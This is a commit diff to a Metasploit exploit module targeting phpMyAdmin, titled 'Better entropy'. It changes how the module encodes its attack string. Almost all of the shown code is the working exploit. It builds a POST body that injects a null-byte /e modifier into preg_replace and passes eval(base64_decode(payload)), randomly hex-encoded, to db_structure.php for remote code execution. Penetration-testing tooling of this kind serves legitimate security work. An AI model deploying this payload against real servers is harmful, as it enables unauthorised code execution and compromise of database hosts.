Better entropy

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

@@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		evil << "selected%5B0%5D=#{db}"
 		evil << "token=#{token}"
 		evil << "from_prefix=%2Fe%00"
-		evil << "to_prefix=#{Rex::Text.uri_encode('eval(base64_decode(', 'hex-random')}'#{pay}'))"
+		evil << "to_prefix=#{Rex::Text.uri_encode("eval(base64_decode('#{pay}'))", 'hex-random')}"
 		evil << "mult_btn=Yes"
 
 		data = ""
@@ -174,7 +174,7 @@ class Metasploit3 < Msf::Exploit::Remote
 				data << '&' << evil[i]
 			end
 		end
-			
+
 		exploit_result = send_request_raw({
 			'uri'	  => uri('db_structure.php'),
 			'method'  => 'POST',